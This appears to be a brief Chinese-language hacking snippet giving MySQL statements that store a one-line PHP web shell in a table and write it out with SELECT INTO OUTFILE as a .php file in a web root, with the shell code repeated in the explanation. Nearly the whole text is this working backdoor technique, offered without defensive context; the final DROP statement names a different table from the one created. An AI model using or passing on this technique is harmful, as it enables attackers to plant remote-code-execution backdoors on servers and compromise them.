随便一个库执行：

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php @eval($_POST[dead])?>');
select cmd from a into outfile 'D:\www.webshell.cc.php';
Drop TABLE IF EXISTS xiaoma;

创建表A，段CMD，内容

<?php @eval($_POST[dead])?>

导出D:\www.webshell.cc.php